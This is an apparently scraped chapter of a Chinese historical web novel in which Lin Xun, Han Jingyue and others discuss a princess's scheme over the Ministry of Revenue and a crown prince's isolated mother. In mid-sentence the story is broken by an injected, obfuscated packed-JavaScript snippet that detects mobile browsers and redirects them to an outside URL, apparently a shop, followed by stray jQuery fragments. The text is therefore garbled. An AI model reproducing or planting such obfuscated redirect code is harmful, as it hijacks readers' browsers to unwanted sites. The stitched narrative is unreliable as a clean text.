寒镜月坐起身，说谎不打草稿：“你昨晚晕了非拉着我让我陪你睡啊，那我就勉为其难同意咯，再说了，我们又不是没躺一块睡过。”


    林浔气得发抖，猛一坐起来胸口就猝然一痛，他捂着心口边喘气边不轻不重地推寒镜月：“你走！我不要再看见你！”


    “喂，这是我家。”寒镜月有点想笑，迅速伸手擒住他肩膀按回床上，“你再不想见我也得等哥哥嫂嫂的事儿完了才行，躺着吧，我去给你买粥。”


    林浔一看见她就想哭，一开始是高兴得哭了，后来是难过得哭了，现在以及往后，恐怕只能是气哭的。


    他看着寒镜月风风火火地跑走，又风风火火地跑回来，一脸欠笑：“那卖粥的老头今天没出摊，我给你做去。”


    “你想都别想！”林浔登时头也不痛了胸口也不闷了，一个鲤鱼打挺坐起来向厨房跑，寒镜月就在后面追，两人一句话不说地坐那等粥喝，有了姜慎进门的一幕。


    锅里的粥呼噜噜冒着泡，林浔熟练地灭了柴火，找了三只碗盛上，正要吹着喝，才发觉那师徒俩巴巴地看着自己，他有些不自在地抖了抖：“……不喝吗？”


    寒镜月这才干笑了两声，和姜慎对视着吃起来：“我买回来几块饼，在那台子上，阿慎你配着吃。”


    姜慎尝了口粥，虽是最简单不过的东西，竟也会因为手法不同味道有着微妙的差异，和着饼吃既解腻又舒服，她不觉心道：要是师郎能被师傅娶回来就好了，家里不知道要过上多好吃的日子。


    三人吃着朝食，姜孟和江白漪才醒，准确地说江白漪本来是没醒的，姜孟一出门看见他还大八字地躺院子里睡，气得骂他：“你这没礼数的公子，怎能睡成这样？”


    江白漪伸了个懒腰爬起来：“你姐姐都让我睡地板了，我还管啥睡姿啊？哎哟我去找找吃的，饿死我了。”


    他说完就往厨房走，姜孟忙不迭跟上，三人正好吃完，江白漪看见林浔坐在寒镜月旁边，嘿嘿一笑：“哟，小哥，见着姑姑了就是了不起，还专门亲自下厨。”


    “不是因为她。”林浔扶着头，好让疼痛轻些，“你快点吃，吃完我们就回去。”


    江白漪大大方方地上去盛了一整碗，边吃边道：“那不行啊，国师的事儿还没完呢，今公子昨儿还来和我说让我告诉你小心点。”


    林浔挑眉：“今茶？他这么好心？”


    江白漪挥挥手：“他就是嘴臭欠骂，人没啥问题，他说他听那公主意思，恐怕是要拖你下水，总之你当点心好了。”


    姜慎：“此事我试探过她，她确有此意，想让你也跟着一块查，好拉你顶罪，不过她也让我参与其中，且看在师傅的面子上我不会害你的。”


    林浔本还认真在听，听到“师傅的面子上”几个字，有些不悦地嗯了声：“多谢姜姑娘了。”


    寒镜月欣慰地看着早已能独当一面的姜慎，却还是道：“要不要我帮你？”


    “师傅是想帮我吗？”姜慎揶揄，一旁的姜孟跟着偷笑起来。


    “臭丫头，不都是我们的事嘛。”寒镜月轻轻拧她脸，“我进宫去了，那公主昨日那般与你好，同意你再跟来没？”


    姜慎撇了撇嘴：“她没提，我哪敢跑去讨嫌？您快去吧，我先帮您查着。”


    寒镜月又叮嘱了几句就准备离开，见林浔和江白漪还坐着没有要走的意思，哂笑：“哟，刚不是还说要走吗？”


    “我和你很熟吗？就要听你玩笑我？”林浔冷不丁呛她。


    寒镜月切了声就自顾自走了，留下四人干瞪眼。


    姜孟今日学堂放假，本想跟着姐姐说说话，结果平白多出来两个不熟的人在这和姐姐谈公事，她又不想就这么离了姐姐，也跟着煞有介事地坐下来听。


    姜慎：“据我从公主那所知，赵太守是户部尚书安大人的远房表亲，林公子在户部任职，那安大人最近可有什么动向？”


    林浔：“这几日户部卷宗室一直被频繁出入，恐怕当真是因为心虚，不过我有一事不明。”


    姜慎：“但讲无妨。”


    林浔：“依国师所言，他为报我爹娘之仇而来，但为何选户部入手？此事就算真能坐实安尚书的罪名，顶多不过再清理一遍户部罢了，又当如何对皇帝产生威胁？”


    姜慎：“公主想争储，而你是皇帝给她准备的磨刀石，从始至终这些事都是为了你这碟醋包的饺子，你若能想到法子翻身，自然能把这朝廷搅乱。”


    江白漪失笑：“反正就是要小哥死呗，那还不简单，我们把太子扯进来共沉沦，这样那帮看不惯公主的大臣自然就会出来帮我们背书了。”


    姜慎啧他：“太子才十岁，成天都待在皇宫里，你要有本事见他，你还不如直接混进太医院毒死皇帝算了。”


    江白漪把头一撇：“你这人说话怎么和今茶一个德行，你师傅不是每天都要进宫吗？”


    姜慎：“太子怕她得很，估计不会听她的话，公主又等着林公子亲自出马找太子好抓把柄，两条路都堵死了，要是淑妃愿意出门就好了，不然顾掌事应当能有法子。”


    林浔思量片刻：“淑妃是不愿出，还是不能出？”


    “那谁说得清这些，皇帝是没发过诏令禁足她，但她五年来从未踏出宫门一步，我听公主说，有时候就算是太子想见她也不一定见得着。”姜慎言到此处忽然明朗，“她不会是被迫禁足吧？”


    林浔：“你师傅有和她通过信吗？”


    “等她回来问问去。”姜慎说完又觉好笑，“什么叫我师傅，她不是你姑姑么？”


    江白漪本坐着无趣，听到这也跟着起哄：“姑姑兼相好，小哥还挺来事儿。”


    林浔知二人有意挑逗，却还是气得撇脸不看二人：“从前是，往后不是。”


    从前越好，如今越怨，情恨本相依。寒镜月并非不能理解林浔心中郁结，但要如何想好一个不那么丢人的认错方式，对她而言也是难事一桩。


    今日进宫时，元煜正好同元令一起，见寒镜月来了，他方有些不情愿地去到一边坐下。


    “太子今日还想来找殿下放风筝？”寒镜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225603|190865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月随口打趣。


    元令轻笑：“又不是小孩子了，谁还玩那些，她母妃生他的气不想见他，他就跑来我这诉苦。”


    寒镜月：“二位殿下感情真好，若当年臣在青霄山也有个师姐妹兄弟陪着就好了。”


    “慎儿不是说她早早就跟了你么？”元令似是不经意地问。


    寒镜月将剑擦好递给她：“下山时才遇见她那可怜孩子，殿下，请。”


    元令反手握剑，熟练地在空中挥了几招，对一旁坐着的元煜道：“煜儿，来和皇姐过两招。”


    元煜忙不迭跑上来，沁雪为他呈上一把剑：“皇姐，承让。”


    言罢元令便已呼呼两剑迎面劈来，元煜向后退躲，侧身正欲出剑反击，元令却倏地从下袭来，一个回锋将他的剑击落在地：“煜儿，你这功夫连自保都难，不去找父皇求个师傅教教你？”


    她并非不知元清无意于此，却仍佯装关切地问，元煜捡起剑歉笑：“让皇姐见笑了，只怕父皇不想见我，皇姐若怜我，不如帮我在父皇面前提上一嘴？”


    “我提也太僭越，不如我让母妃劝父皇去淑妃娘娘那儿一趟，孩子的事还得她提才好。”元令温柔地牵过他的手，嘴里却说着字字扎心的话。


    元煜很不自在地看着她：“母妃都不愿见我了，怎么还会帮我说事呢？”


    元令：“她为何不愿见你？”


    “我劝母妃多出去走走，她忽然就哭了，说我是个没用的孩子，我……我那时一时气头，就顶撞了两句，她就不愿见我了。”元煜越说声音越小，“皇姐，我真的没用么？”


    元令眉目含笑：“怎会没用，淑妃娘娘说气话罢了，别在这晃悠了，快去跟着太傅好好读书，歇个几日再去见她，她定不会再恼你。”


    元煜似有心事地离开，寒镜月听完姐弟二人的一通对话，心中有了盘算：“皇上与宸妃娘娘当真是一对眷侣，臣总听宫里的宫女太监们说，只要她开口，没有皇上不肯的事。”


    “哪有那么离奇，母妃还劝他少和我说些勾心斗角的事，也不见父皇听了。”提起母亲，元令才露出几分女儿姿态，“母妃什么都好，就是心太软，我若是她，定不能忍受父皇曾与旁人有染。”


    寒镜月轻笑：“娘娘毕竟不是公主，又岂能事事尽如人意？”


    “是啊，她再受宠爱也只是父皇的妃子罢了，父皇喜欢她她就风光，父皇若不喜欢了，她就会变得和淑妃一样，若她能是皇帝的母亲，那可就大不一样了。”元令双眸一沉，“太师，你跟了我五年，倒不见你和慎儿对我有异心，我让慎儿跟着我查户部之事，你这个做长辈的觉得如何？”


    寒镜月熟练道：“能得殿下重用是好事，慎儿也很高兴。”


    元令却道：“她想得倒与我合拍，不过有件事我们两个都不明白，特来请教太师——鱼要是不上钩，人还能怎么抓他呢？”


    “……那就请猫来。”寒镜月观察着她的神色，“人抓不到，猫可未必。”


    元令：“那太师以为，谁是那个能抓秦侍郎的猫？”